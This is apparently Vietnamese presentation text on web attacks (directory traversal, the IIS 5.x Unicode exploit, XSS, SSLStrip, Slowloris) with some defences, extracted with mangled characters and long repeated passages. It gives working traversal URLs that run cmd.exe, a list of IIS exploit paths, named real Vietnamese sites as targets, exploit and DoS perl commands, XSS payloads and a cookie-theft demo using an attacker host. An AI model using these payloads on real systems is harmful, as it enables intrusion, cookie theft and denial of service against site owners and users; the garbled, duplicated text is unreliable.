Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Tất cả caacutec Web Server đều hiểu vagrave chạy được caacutec file htm vagrave htmltuy nhiecircn một số Web server lại phục vụ cho một số file riecircng biệt
IIS của MicrosoftASPASPXApache PHPSun Java System Web Server của
SUNdagravenh cho JSP
1 XSS (Cross-Site Scripting)
2 SSLStrip3 Directory Traversal
Attack4 Web Server
Technologies5 CGI Tester6 Code execution7 Cookie manipulation8 CRLF injection9 XFS vulnerability10 Email Injection
2 File inclusion3 File tampering4 Full path disclosure5 Remote XSL inclusion6 Script source code
disclosure7 SQL injection8 URL redirection9 XPath Injection
vulnerability10 Blind SQLXPath injectionhelliphelliphellip
Acunetix WVS (Web Vulnerability Scanner) lagrave cocircng cụ dừng để kiểm tra mức độ bảo mật của caacutec website noacute sẽ tự động kiểm tra caacutec ứng dụng Web để tigravem kiếm caacutec lỗ hổng bảo mật như SQL Injection hay Cross-Site Scriptinghellip
Noacute coacute thể queacutet bất cứ trang web nagraveo truy xuất bằng trigravenh duyệt web thocircng qua giao thức Http vagrave Https
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
